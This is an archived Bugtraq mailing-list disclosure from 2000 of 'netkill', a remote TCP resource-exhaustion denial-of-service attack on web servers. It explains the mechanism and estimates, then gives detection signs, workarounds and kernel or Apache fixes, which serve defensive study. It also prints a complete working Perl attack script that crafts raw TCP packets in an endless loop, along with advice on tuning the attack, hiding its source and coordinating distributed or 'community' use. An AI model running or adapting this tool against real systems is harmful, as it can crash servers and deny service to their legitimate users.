5030512 2000-04-22 09:14 /990 rader/ Postmaster Mottagare: Bugtraq (import) <10575> Ärende: netkill - generic remote DoS attack ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: bugtraq@securityfocus.com Message-ID: <200004211717.NAA11523@tuzik.lz.att.com> Date: Fri, 21 Apr 2000 13:17:41 -0400 Reply-To: stanislav shalunov <shalunov@ATT.COM> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: stanislav shalunov <shalunov@ATT.COM> X-To: bugtraq@securityfocus.com To: BUGTRAQ@SECURITYFOCUS.COM NAME netkill - generic remote DoS attack $Id: netkill,v 1.7 2000/04/20 18:56:22 shalunov Exp $ SUMMARY By exploiting features inherent to TCP protocol remote attackers can perform denial of service attacks on a wide array of target operating systems. The attack is most efficient against HTTP servers. A Perl script is enclosed to demonstrate the problem. The problem probably isn't "new"; I'm sure many people have thought about it before, even though I could not find references on public newsgroups and mailing lists. It's severe and should be fixed. BACKGROUND When TCPs communicate, each TCP allocates some resources to each connection. By repeatedly establishing a TCP connection and then abandoning it, a malicious host can tie up significant resources on a server. A Unix server may dedicate some number of mbufs (kernel data structures used to hold network-traffic-related data) or even a process to each of those connections. It'll take time before the connection times out and resources are returned to the system. If there are many outstanding abandoned connections of such sort, the system may crash, become unusable, or simply stop serving a particular port. AFFECTED SYSTEMS Any system that runs a TCP service that sends out data can be attacked this way. The efficiency of such attack would vary greatly depending on a very large number of factors. Web servers are particularly vulnerable to this attack because of the nature of the protocol (short request generates an arbitrarily long response). IMPACT Remote users can make service (such as HTTP) unavailable. For many operating systems, the servers can be crashed. (Which interrupts service and also has a potential of damaging filesystems.) THE MECHANISM This could be made to work against various services. We'll only discuss how it could be used against HTTP servers. The attack may or may not render the rest of the services (if any) provided by the machine unusable. The mechanism is quite simple: After instructing our kernel to not answer any packets from the target machine (most easily done by firewalling that box: with ipfw, "deny any from TARGET to any") we repeatedly initiate a new connection from a random port by sending a SYN packet, expecting a SYN+ACK response, and then sending our request (we could more traditionally first confirm SYN+ACK and only then send the request, but the way we do it saves packets). It is felt that attack is more efficient when static file is fetched this way rather than dynamic content. Nature of the file doesn't matter (graphics, text or plain HTML will do fine) but size is of great importance. What happens on the server when it receives these spurious requests? First of all, the kernel handles the TCP handshake; then, as we send our second packet and handshake is thus completed, a user application is notified about the request (accept system call returns, connection is now ESTABLISHED). At that time, kernel has the request data in receiving queue. The process reads the request (which is HTTP/1.0 without any keep- alive options), interprets it, and then writes some data into the file descriptor and closes it (connection goes into FIN_WAIT_1 state). Life then goes on with some mbufs eaten, if we reach this point. This attack comes in two flavors: mbufs exhaustion and process saturation. When doing mbufs exhaustion, one wants the user-level process on the other end to write the data without blocking and close the descriptor. Kernel will have to deal with all the data, and the user-level process will be free, so that we can send more requests this way and eventually consume all the mbufs or all physical memory, if mbufs are allocated dynamically. When doing process saturation, one wants user-level process to block while trying to write data. The architecture of many HTTP servers will allow serving only so many connections at a time. When we reach this number of connections the server will stop responding to legitimate users. If the server doesn't put a bound on the number of connections, we're still tying up resources and eventually the machine comes to a crawling halt. Mbufs exhaustion usually has no visible effect (other than thousands of connections in FIN_WAIT_1 state) until we reach a hard limit of the number of mbufs or mbuf clusters. At that point, the machine panics, dumps kernel core, reboots, checks filesystems, recovers core dump--all time-consuming operations. (This is what happens, say, with FreeBSD and other BSD-derived systems; it worked for me against a machine with maxusers=256 and 512MB of RAM.) Some other systems, such as Linux, seem to happily allocate arbitrary amount of memory for mbuf clusters. This memory cannot be paged out. Once we start approaching the physical memory size, machine becomes completely unusable and stays so. Process saturation usually exhibits itself in server being extremely slow when accepting new connections. On the machine itself there's a large number of ESTABLISHED connections, and a large number of processes/threads visible. Once the process saturation attack reaches success and while it lasts, clients trying to connect to the server usually all time out. But if they manage to establish a connection (this is only tested with Apache) the server may not send any data for a long time. I don't know the reason for this. SOME NUMERIC ESTIMATES Due to lack of consenting targets and time I have not done any attacks over modem dial-up links. So this section is mostly speculation. Let T be the average time that the target system retains a connection of given kind, R be the average time between two "hits" by one attacking system, N be the number of attacking systems, and A be the number of packets the victim sends before resetting connection when peer is unresponsive. Then, after T seconds since the beginning of the attack, the victim will have N*T/R hung connections. That number won't change much afterwards. A "typical" BSD system with maxusers=64 would have 1536 mbuf clusters. It looks like T is around 500s. So, if we can get R=.3s (easily done if we have a good connection) we can crash it from a single client. For dial-up, a more realistic value of R would be around 2s (adjusted for redials). So, six or so co- operating dial-up attackers are required to crash the target. (In real life we might need more attackers; I guess ten should be enough.) Linux doesn't have a limit on the number of mbuf clusters, and it keeps connections hanging around longer (T=1400s). In my tests, I was able to let it accept 48K of data into the send queue and let the process move on. This means that a single dial-up attacker can lock about 33MB in non-paged kernel memory. Four dial-up attackers seem to be able to destroy a 128MB machine. A single well-connected client can do the same, for even bigger machines. Process saturation is even easier. Assuming (optimistically for the victim) T=500, R=2s, a single dial-up user can tie 250 instances of the HTTP server. For most configurations, that's the end of the service. MAKING NETKILL MORE EFFICIENT TCP is a complicated business. Parameters and timing is everything. Tweaking the window size and the delays makes a lot of difference. Parallel threads of execution increase efficiency in some settings. I've not included code for that, so one will have to start several copies of netkill. For maximum efficiency, don't mix the types of attack. Starting netkill on several machines has a lot of impact. Increasing the number of BPF devices on a BSD system may be necessary. Netkill does consume bandwidth, even though it's not a flooding tool. Ironically, most of the traffic is produced by the victim systems, and the traffic is directed to attack systems. If the attacking systems have T1 or greater connectivity, this is of little consequence. However, if netkill is used from a modem dial-up connection it'll be necessary for the attacker to redial often to get a new IP number. Cable modems seem to be unsuitable for launching this attack: bandwidth is not sufficient, and IP number cannot be changed. One might want to conceal the origin of the attack. Since a TCP connection is established, we must either be able to see SYN+ACK or to guess the remote initial sequence number. It is felt that full-blown IP spoofing with predicting sequence numbers would make this attack inefficient, even if ISNs are not properly randomized by the remote end. What one might do is to send the queries from an unused IP on the same network. This would have the added benefit that it would become unnecessary to firewall the target. If the network administrator is not very skilled, it might take significant time for the true source of attack to be discovered. One could further fake link-layer source address (if the OS would allow that) and make the source even harder to discover. DISTRIBUTED ATTACK APPLICATIONS We've seen a number of distributed attack tools in the last few months become publicly available. They mostly simply flood the network with UDP packets and all kinds of garbage. This attack is different from those: Rather than saturating the link, this attack saturates some resources on the target machines. If used in combination with a controlling daemon from a large number of hosts, this attack will have very devastating effect on Web-serving infrastructure. Much more devastating than trin00, TFN, or Stacheldraht. (When used in a distributed setting, Perl with a non-standard module may not be the executable format of choice. The Perl script would probably be compiled into a statically linked native machine format executable using the O module. This will also require building a .a format RawIP library.) An interesting application of netkill would be "Community netkill": a large number of people (say, readers of the same newsgroups or of the same website) could coordinate their resources and start using netkill on a pre-specified target in a pre-specified time interval. Since each person would send only a few packets, it would be hard to accuse them of doing anything evil ("I just opened this page, and then my modem disconnected"), but this attack can pretty much destroy anything. INTERACTION WITH LOAD BALANCERS I don't have a Cisco Local Director, a Foundry box, or a NetApp NetCache at hand for testing, and I have not had a chance to test against these. Everything in this section is pure speculation. The effects on a load-balancing farm of servers will depend on how the load balancing is organized. For load-balancers that simply forward packets for each connection to a chosen server, the attacker is given the opportunity to destroy all the machines that the load balancer serves. So, it doesn't offer any protection. The load-balancer itself will most likely remain unaffected. If the "sticky bit" is set on the load balancer, an attacker operating from a single IP will only be able to affect a single system at a time. For load-balancers that establish connections and pump data back and forth (this includes reverse proxies), the servers themselves are protected and the target of the attack is the load-balancer itself. It's probably more resilient to the attack than a regular host, but with a distributed attack it can certainly be taken down. Then the whole service becomes unavailable at once. Round-robin DNS load-balancing schemes are not really different from just individual servers. Redirect load-balancing is probably most vulnerable, because the redirect box is the single point of failure, and it's not a specialized piece of hardware, like a reverse proxy. (The redirector can be a farm of machines load-balanced in another way; still this setup is more vulnerable than, say, load- balancing all available servers using a Cisco Local Director.) TELL-TALE SIGNS It is prudent to implement some of the suggestions from the "Workarounds" session even if you are not under attack and do not expect an attack. However, if service is interrupted the following signs will help identify that a tool similar to netkill is used against you: * Your HTTP servers have hundreds or thousands of connections to port 80 in FIN_WAIT_1 state. * The ratio (number of outgoing packets/number of incoming packets) is unusually high. * There's a large number of connections to port 80 in ESTABLISHED state, and most of them have the same length of send queue. (Or, there are large groups of connections sharing the same non-zero value of the length of send queue.) WORKAROUNDS There can be several strategies. None give you a lot of protection. They can be combined. * Identify offending sources as they appear and block them at your firewall. * Don't let strangers send TCP packets to your servers. Use a hardware reverse proxy. Make sure the proxy can be rebooted very fast. * Have a lot of memory in your machines. Increase the number of mbuf clusters to a very large number. * If you're using a Cisco Local Director, enable the "sticky" option. That's not going to help much against a distributed attack, but would limit the damage done from a single IP. Still something. * If you have a router or firewall that can throttle per-IP incoming rates of certain packets, then something like "one SYN per X seconds per IP" might limit the damage. You could set X to 1 by default and raise it to 5 in case of an actual attack. Image loading by browsers which don't do HTTP Keep- Alives will be very slow. * You could fake the RSTs. Set up a BSD machine that can sniff all the HTTP traffic. Kill (send RST with the correct sequence number) any HTTP connection such that the client has not sent anything in last X seconds. You could set X to 60 by default and lower it to 5 in case of an actual attack. A combination of these might save your service. The first method, while being most labor- and time-consuming is probably the most efficient. It has the added benefit that the attackers will be forced to reveal more and more machines that they control. You can later go to their administrators and let them know. The last two methods might do you more harm than good, especially if you misconfigure something. But the last method is also the most efficient. THE FIX Network Administrators should turn to the Workarounds section instead. We're dealing here with features inherent to TCP. It can be fixed, but the price to pay is making TCP less reliable. However, when the machine crashes, TCP becomes very unreliable, to say the least. Let's address mbufs exhaustion first. When the machine crashes, is there anything better to do? Obviously. Instead of calling panic(), the kernel might randomly free some 25% of mbufs chains, giving some random preference to ESTABLISHED connections. All the applications using sockets associated with these mbufs would be notified with a failed system call (ENOBUFS). Sure, that's not very pleasant. But is a crash better? Systems that do not currently impose a limit on the number of mbufs (e.g., Linux) should do so and use the above technique when the limit is reached. An alternative opinion is that the kernel should stop accepting new connections when there's no more memory for TCBs available. In my opinion, while this addresses the problem of OS crashes (which is an undeniable bug), it doesn't address the DoS aspect: the attacker denies service to most users by spending only a small amount of resources (mostly bandwidth). Process saturation is an application problem, really, and can only be solved on application level. Perhaps, Apache should be taught to put a timeout on network writes. Perhaps, the default limit on the number of children should be very significantly raised. Perhaps, Apache could drop connections that have not done anything in the last 2*2MSL. EXPLOIT CODE: CAVEAT EMPTOR The program takes a number of arguments. To prevent script kiddies from destroying too much of the Web, I made the default values not-so-efficient (but enough to demonstrate that the problem exists). You'll have to understand how it works to make the best use out of it, if you decide to further research the problem. With the default values, it at least won't crash a large server over a dial-up connection. ACKNOWLEDGMENTS I would like to thank D. J. Bernstein, Alan Cox, Guido van Rooij, and Alexander Shen for fruitful discussion of the problem. LEGAL CONDITIONS Copyright (C) Stanislav Shalunov, 2000. In this section, "you" refers to the recipient of this software and/or documentation (it may be a person or an organization). You may use netkill for research and education purposes. If you actually run the program, all the hosts that you run it from, and the hosts that you specify on the command line, and all the network path between them, must be legally owned by you. Any other use is strictly prohibited, including, but not limited to, use to perform denial of service or other attacks against or through computer networks and computers. You may redistribute netkill Perl source with embedded POD documentation verbatim. You may distribute documentation produced from the original netkill distribution by automated methods freely. You may also make changes to netkill and distribute resulting software and documentation free of charge. If you do so, you must include this section verbatim into any copy that you redistribute, and you must also state clearly that this is not the original version. This software and any derived work may not be distributed without documentation. This software and documentation is provided "AS IS" and any express or implied warranties, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose are disclaimed. In no event shall the author or any party associated with the author be liable for any direct, indirect, incidental, special, exemplary, or consequential damages (including, but not limited to, procurement of substitute goods or services; loss of use, data, or profits; or business interruption) however caused and on any theory of liability, whether in contract, strict liability, or tort (including negligence or otherwise) arising in any way out of the use, misuse, or lack of use of this software and/or documentation, even if advised of the possibility of such damage. -------------------- cut here -------------------- #!/usr/bin/perl -w # netkill - generic remote DoS attack =pod =head1 NAME netkill - generic remote DoS attack $Id: netkill,v 1.7 2000/04/20 18:56:22 shalunov Exp $ =head1 SUMMARY By exploiting features inherent to TCP protocol remote attackers can perform denial of service attacks on a wide array of target operating systems. The attack is most efficient against HTTP servers. A Perl script is enclosed to demonstrate the problem. The problem probably isn't "new"; I'm sure many people have thought about it before, even though I could not find references on public newsgroups and mailing lists. It's severe and should be fixed. =head1 BACKGROUND When TCPs communicate, each TCP allocates some resources to each connection. By repeatedly establishing a TCP connection and then abandoning it, a malicious host can tie up significant resources on a server. A Unix server may dedicate some number of mbufs (kernel data structures used to hold network-traffic-related data) or even a process to each of those connections. It'll take time before the connection times out and resources are returned to the system. If there are many outstanding abandoned connections of such sort, the system may crash, become unusable, or simply stop serving a particular port. =head1 AFFECTED SYSTEMS Any system that runs a TCP service that sends out data can be attacked this way. The efficiency of such attack would vary greatly depending on a very large number of factors. Web servers are particularly vulnerable to this attack because of the nature of the protocol (short request generates an arbitrarily long response). =head1 IMPACT Remote users can make service (such as HTTP) unavailable. For many operating systems, the servers can be crashed. (Which interrupts service and also has a potential of damaging filesystems.) =head1 THE MECHANISM This could be made to work against various services. We'll only discuss how it could be used against HTTP servers. The attack may or may not render the rest of the services (if any) provided by the machine unusable. The mechanism is quite simple: After instructing our kernel to not answer any packets from the target machine (most easily done by firewalling that box: with ipfw, "deny any from TARGET to any") we repeatedly initiate a new connection from a random port by sending a SYN packet, expecting a SYN+ACK response, and then sending our request (we could more traditionally first confirm SYN+ACK and only then send the request, but the way we do it saves packets). It is felt that attack is more efficient when static file is fetched this way rather than dynamic content. Nature of the file doesn't matter (graphics, text or plain HTML will do fine) but size is of great importance. What happens on the server when it receives these spurious requests? First of all, the kernel handles the TCP handshake; then, as we send our second packet and handshake is thus completed, a user application is notified about the request (accept system call returns, connection is now ESTABLISHED). At that time, kernel has the request data in receiving queue. The process reads the request (which is HTTP/1.0 without any keep-alive options), interprets it, and then writes some data into the file descriptor and closes it (connection goes into FIN_WAIT_1 state). Life then goes on with some mbufs eaten, if we reach this point. This attack comes in two flavors: mbufs exhaustion and process saturation. When doing mbufs exhaustion, one wants the user-level process on the other end to write the data without blocking and close the descriptor. Kernel will have to deal with all the data, and the user-level process will be free, so that we can send more requests this way and eventually consume all the mbufs or all physical memory, if mbufs are allocated dynamically. When doing process saturation, one wants user-level process to block while trying to write data. The architecture of many HTTP servers will allow serving only so many connections at a time. When we reach this number of connections the server will stop responding to legitimate users. If the server doesn't put a bound on the number of connections, we're still tying up resources and eventually the machine comes to a crawling halt. Mbufs exhaustion usually has no visible effect (other than thousands of connections in FIN_WAIT_1 state) until we reach a hard limit of the number of mbufs or mbuf clusters. At that point, the machine panics, dumps kernel core, reboots, checks filesystems, recovers core dump--all time-consuming operations. (This is what happens, say, with FreeBSD and other BSD-derived systems; it worked for me against a machine with maxusers=256 and 512MB of RAM.) Some other systems, such as Linux, seem to happily allocate arbitrary amount of memory for mbuf clusters. This memory cannot be paged out. Once we start approaching the physical memory size, machine becomes completely unusable and stays so. Process saturation usually exhibits itself in server being extremely slow when accepting new connections. On the machine itself there's a large number of ESTABLISHED connections, and a large number of processes/threads visible. Once the process saturation attack reaches success and while it lasts, clients trying to connect to the server usually all time out. But if they manage to establish a connection (this is only tested with Apache) the server may not send any data for a long time. I don't know the reason for this. =head1 SOME NUMERIC ESTIMATES Due to lack of consenting targets and time I have not done any attacks over modem dial-up links. So this section is mostly speculation. Let T be the average time that the target system retains a connection of given kind, R be the average time between two "hits" by one attacking system, N be the number of attacking systems, and A be the number of packets the victim sends before resetting connection when peer is unresponsive. Then, after T seconds since the beginning of the attack, the victim will have N*T/R hung connections. That number won't change much afterwards. A "typical" BSD system with maxusers=64 would have 1536 mbuf clusters. It looks like T is around 500s. So, if we can get R=.3s (easily done if we have a good connection) we can crash it from a single client. For dial-up, a more realistic value of R would be around 2s (adjusted for redials). So, six or so co-operating dial-up attackers are required to crash the target. (In real life we might need more attackers; I guess ten should be enough.) Linux doesn't have a limit on the number of mbuf clusters, and it keeps connections hanging around longer (T=1400s). In my tests, I was able to let it accept 48K of data into the send queue and let the process move on. This means that a single dial-up attacker can lock about 33MB in non-paged kernel memory. Four dial-up attackers seem to be able to destroy a 128MB machine. A single well-connected client can do the same, for even bigger machines. Process saturation is even easier. Assuming (optimistically for the victim) T=500, R=2s, a single dial-up user can tie 250 instances of the HTTP server. For most configurations, that's the end of the service. =head1 MAKING NETKILL MORE EFFICIENT TCP is a complicated business. Parameters and timing is everything. Tweaking the window size and the delays makes a lot of difference. Parallel threads of execution increase efficiency in some settings. I've not included code for that, so one will have to start several copies of netkill. For maximum efficiency, don't mix the types of attack. Starting netkill on several machines has a lot of impact. Increasing the number of BPF devices on a BSD system may be necessary. Netkill does consume bandwidth, even though it's not a flooding tool. Ironically, most of the traffic is produced by the victim systems, and the traffic is directed to attack systems. If the attacking systems have T1 or greater connectivity, this is of little consequence. However, if netkill is used from a modem dial-up connection it'll be necessary for the attacker to redial often to get a new IP number. Cable modems seem to be unsuitable for launching this attack: bandwidth is not sufficient, and IP number cannot be changed. One might want to conceal the origin of the attack. Since a TCP connection is established, we must either be able to see SYN+ACK or to guess the remote initial sequence number. It is felt that full-blown IP spoofing with predicting sequence numbers would make this attack inefficient, even if ISNs are not properly randomized by the remote end. What one might do is to send the queries from an unused IP on the same network. This would have the added benefit that it would become unnecessary to firewall the target. If the network administrator is not very skilled, it might take significant time for the true source of attack to be discovered. One could further fake link-layer source address (if the OS would allow that) and make the source even harder to discover. =head1 DISTRIBUTED ATTACK APPLICATIONS We've seen a number of distributed attack tools in the last few months become publicly available. They mostly simply flood the network with UDP packets and all kinds of garbage. This attack is different from those: Rather than saturating the link, this attack saturates some resources on the target machines. If used in combination with a controlling daemon from a large number of hosts, this attack will have very devastating effect on Web-serving infrastructure. Much more devastating than trin00, TFN, or Stacheldraht. (When used in a distributed setting, Perl with a non-standard module may not be the executable format of choice. The Perl script would probably be compiled into a statically linked native machine format executable using the O module. This will also require building a .a format RawIP library.) An interesting application of netkill would be "Community netkill": a large number of people (say, readers of the same newsgroups or of the same website) could coordinate their resources and start using netkill on a pre-specified target in a pre-specified time interval. Since each person would send only a few packets, it would be hard to accuse them of doing anything evil ("I just opened this page, and then my modem disconnected"), but this attack can pretty much destroy anything. =head1 INTERACTION WITH LOAD BALANCERS I don't have a Cisco Local Director, a Foundry box, or a NetApp NetCache at hand for testing, and I have not had a chance to test against these. Everything in this section is pure speculation. The effects on a load-balancing farm of servers will depend on how the load balancing is organized. For load-balancers that simply forward packets for each connection to a chosen server, the attacker is given the opportunity to destroy all the machines that the load balancer serves. So, it doesn't offer any protection. The load-balancer itself will most likely remain unaffected. If the "sticky bit" is set on the load balancer, an attacker operating from a single IP will only be able to affect a single system at a time. For load-balancers that establish connections and pump data back and forth (this includes reverse proxies), the servers themselves are protected and the target of the attack is the load-balancer itself. It's probably more resilient to the attack than a regular host, but with a distributed attack it can certainly be taken down. Then the whole service becomes unavailable at once. Round-robin DNS load-balancing schemes are not really different from just individual servers. Redirect load-balancing is probably most vulnerable, because the redirect box is the single point of failure, and it's not a specialized piece of hardware, like a reverse proxy. (The redirector can be a farm of machines load-balanced in another way; still this setup is more vulnerable than, say, load-balancing all available servers using a Cisco Local Director.) =head1 TELL-TALE SIGNS It is prudent to implement some of the suggestions from the "Workarounds" session even if you are not under attack and do not expect an attack. However, if service is interrupted the following signs will help identify that a tool similar to netkill is used against you: =over 4 =item * Your HTTP servers have hundreds or thousands of connections to port 80 in FIN_WAIT_1 state. =item * The ratio (number of outgoing packets/number of incoming packets) is unusually high. =item * There's a large number of connections to port 80 in ESTABLISHED state, and most of them have the same length of send queue. (Or, there are large groups of connections sharing the same non-zero value of the length of send queue.) =back =head1 WORKAROUNDS There can be several strategies. None give you a lot of protection. They can be combined. =over 4 =item * Identify offending sources as they appear and block them at your firewall. =item * Don't let strangers send TCP packets to your servers. Use a hardware reverse proxy. Make sure the proxy can be rebooted very fast. =item * Have a lot of memory in your machines. Increase the number of mbuf clusters to a very large number. =item * If you're using a Cisco Local Director, enable the "sticky" option. That's not going to help much against a distributed attack, but would limit the damage done from a single IP. Still something. =item * If you have a router or firewall that can throttle per-IP incoming rates of certain packets, then something like "one SYN per X seconds per IP" might limit the damage. You could set X to 1 by default and raise it to 5 in case of an actual attack. Image loading by browsers which don't do HTTP Keep-Alives will be very slow. =item * You could fake the RSTs. Set up a BSD machine that can sniff all the HTTP traffic. Kill (send RST with the correct sequence number) any HTTP connection such that the client has not sent anything in last X seconds. You could set X to 60 by default and lower it to 5 in case of an actual attack. =back A combination of these might save your service. The first method, while being most labor- and time-consuming is probably the most efficient. It has the added benefit that the attackers will be forced to reveal more and more machines that they control. You can later go to their administrators and let them know. The last two methods might do you more harm than good, especially if you misconfigure something. But the last method is also the most efficient. =head1 THE FIX Network Administrators should turn to the Workarounds section instead. We're dealing here with features inherent to TCP. It can be fixed, but the price to pay is making TCP less reliable. However, when the machine crashes, TCP becomes very unreliable, to say the least. Let's address mbufs exhaustion first. When the machine crashes, is there anything better to do? Obviously. Instead of calling panic(), the kernel might randomly free some 25% of mbufs chains, giving some random preference to ESTABLISHED connections. All the applications using sockets associated with these mbufs would be notified with a failed system call (ENOBUFS). Sure, that's not very pleasant. But is a crash better? Systems that do not currently impose a limit on the number of mbufs (e.g., Linux) should do so and use the above technique when the limit is reached. An alternative opinion is that the kernel should stop accepting new connections when there's no more memory for TCBs available. In my opinion, while this addresses the problem of OS crashes (which is an undeniable bug), it doesn't address the DoS aspect: the attacker denies service to most users by spending only a small amount of resources (mostly bandwidth). Process saturation is an application problem, really, and can only be solved on application level. Perhaps, Apache should be taught to put a timeout on network writes. Perhaps, the default limit on the number of children should be very significantly raised. Perhaps, Apache could drop connections that have not done anything in the last 2*2MSL. =head1 EXPLOIT CODE: CAVEAT EMPTOR The program takes a number of arguments. To prevent script kiddies from destroying too much of the Web, I made the default values not-so-efficient (but enough to demonstrate that the problem exists). You'll have to understand how it works to make the best use out of it, if you decide to further research the problem. With the default values, it at least won't crash a large server over a dial-up connection. =head1 ACKNOWLEDGMENTS I would like to thank D. J. Bernstein, Alan Cox, Guido van Rooij, and Alexander Shen for fruitful discussion of the problem. =head1 LEGAL CONDITIONS Copyright (C) Stanislav Shalunov, 2000. In this section, "you" refers to the recipient of this software and/or documentation (it may be a person or an organization). You may use netkill for research and education purposes. If you actually run the program, all the hosts that you run it from, and the hosts that you specify on the command line, and all the network path between them, must be legally owned by you. Any other use is strictly prohibited, including, but not limited to, use to perform denial of service or other attacks against or through computer networks and computers. You may redistribute netkill Perl source with embedded POD documentation verbatim. You may distribute documentation produced from the original netkill distribution by automated methods freely. You may also make changes to netkill and distribute resulting software and documentation free of charge. If you do so, you must include this section verbatim into any copy that you redistribute, and you must also state clearly that this is not the original version. This software and any derived work may not be distributed without documentation. This software and documentation is provided "AS IS" and any express or implied warranties, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose are disclaimed. In no event shall the author or any party associated with the author be liable for any direct, indirect, incidental, special, exemplary, or consequential damages (including, but not limited to, procurement of substitute goods or services; loss of use, data, or profits; or business interruption) however caused and on any theory of liability, whether in contract, strict liability, or tort (including negligence or otherwise) arising in any way out of the use, misuse, or lack of use of this software and/or documentation, even if advised of the possibility of such damage. =cut use strict; use Net::RawIP ':pcap'; # Available from CPAN. use Socket; use Getopt::Std; # Process command line arguments. my %options; getopts('zvp:t:r:u:w:i:d:', \%options) or usage(); my $zero_window = $options{z}; # Close window in second packet? my $verbose = $options{v}; # Print progress indicators? my $d_port = $options{p} || 80; # Destination port. my $timeout = $options{t} || 1; # Timeout for pcap. my $fake_rtt = $options{r} || 0.05; # Max sleep between SYN and data. my $url = $options{u} || '/'; # URL to request. my $window = $options{w} || 16384; # Window size. my $interval = $options{i} || 0.5; # Sleep time between `connections.' my $numpackets = $options{d} || -1; # Number of tries (-1 == infty). my $d_name = shift or usage(); # Target host name. shift and usage(); # Complain if other args present. # This is what we send to the remote host. # XXX: Must fit into one packet. my $data = "GET $url HTTP/1.0\015\012\015\012"; # Two network EOLs in the end. my ($d_canon, $d_ip) = (gethostbyname($d_name))[0,4] # Resolve $d_name once. or die "$d_name: Unknown host\n"; my $d_ip_str = inet_ntoa($d_ip); # Filter wants string representation. my $dev = rdev($d_name) or die "$d_name: Cannot find outgoing interface\n"; my $s_ip_str = ${ifaddrlist()}{$dev} or die "$dev: Cannot find IP\n"; $| = 1 if $verbose; print <<EOF if $verbose; Sending to destination $d_canon [$d_ip_str]. Each dot indicates 10 semi-connections (actually, SYN+ACK packets). EOF my $hitcount; # Used for progress indicator if $verbose is set. while ($numpackets--) { # Unfortunately, there's pcapinit, but there's no way to give # resources back to the kernel (close the bpf device or whatever). # So, we fork a child for each pcapinit allocation and let him exit. my $pid = fork(); sleep 1, next if $pid == -1; # fork() failed; sleep and retry. for (1..10) {rand} # Need to advance it manually, only children use rand. if ($pid) { # Parent. Block until the child exits. waitpid($pid, 0); print '.' if $verbose && !$? && !(++$hitcount%10); select(undef, undef, undef, rand $interval); } else { # Child. my $s_port = 1025 + int rand 30000; # Randon source port. my $my_seq = int rand 2147483648; # Random sequence number. my $packet = new Net::RawIP({tcp => {}}); my $filter = # pcap filter to get SYN+ACK. "src $d_ip_str and tcp src port $d_port and tcp dst port $s_port"; local $^W; # Unfortunately, Net::RawIP is not -w - OK. my $pcap; # If we don't have enough resources locally, pcapinit will die/croak. # We want to catch the error, hence eval. eval q{$pcap = $packet->pcapinit($dev, $filter, 1500, $timeout)}; $verbose? die "$@child died": exit 1 if $@; my $offset = linkoffset($pcap); # Link header length (14 or whatever). $^W = 1; # Send the first packet: SYN. $packet->set({ip=> {saddr=>$s_ip_str, daddr=>$d_ip_str, frag_off=>0, tos=>0, id=>int rand 50000}, tcp=> {source=>$s_port, dest=>$d_port, syn=>1, window=>$window, seq=>$my_seq}}); $packet->send; my $temp; # Put their SYN+ACK (binary packed string) into $ipacket. my $ipacket = &next($pcap, $temp); exit 1 unless $ipacket; # Timed out waiting for SYN+ACK. my $tcp = new Net::RawIP({tcp => {}}); # Load $ipacket without link header into a readable data structure. $tcp->bset(substr($ipacket, $offset)); $^W = 0; # All we want from their SYN+ACK is their sequence number. my ($his_seq) = $tcp->get({tcp=>['seq']}); # It might increase the interval between retransmits with some # TCP implementations if we wait a little bit here. select(undef, undef, undef, rand $fake_rtt); # Send ACK for SYN+ACK and our data all in one packet. # The spec allows it, and it works. # Who told you about "three-way handshake"? $packet->set({ip=> {saddr=>$s_ip_str, daddr=>$d_ip_str, frag_off=>0, tos=>0, id=>int rand 50000}, tcp=> {source=>$s_port, dest=>$d_port, psh=>1, syn=>0, ack=>1, window=>$zero_window? 0: $window, ack_seq=>++$his_seq, seq=>++$my_seq, data=>$data}}); $packet->send; # At this point, if our second packet is not lost, the connection is # established. They can try to send us as much data as they want now: # We're not listening anymore. # If our second packet is lost, they'll have a SYN_RCVD connection. # Hopefully, they can handle even a SYN flood. exit 0; } } exit(0); sub usage { die <<EOF; Usage: $0 [-vzw#r#d#i#t#p#] <host> -v: Be verbose. Recommended for interactive use. -z: Close TCP window at the end of the conversation. -p: Port HTTP daemon is running on (default: 80). -t: Timeout for SYN+ACK to come (default: 1s, must be integer). -r: Max fake rtt, sleep between S+A and data packets (defeault: 0.05s). -u: URL to request (default: `/'). -w: Window size (default: 16384). Can change the type of attack. -i: Max sleep between `connections' (default: 0.5s). -d: How many times to try to hit (default: infinity). See "perldoc netkill" for more information. EOF } (5030512) ------------------------------------------(Ombruten)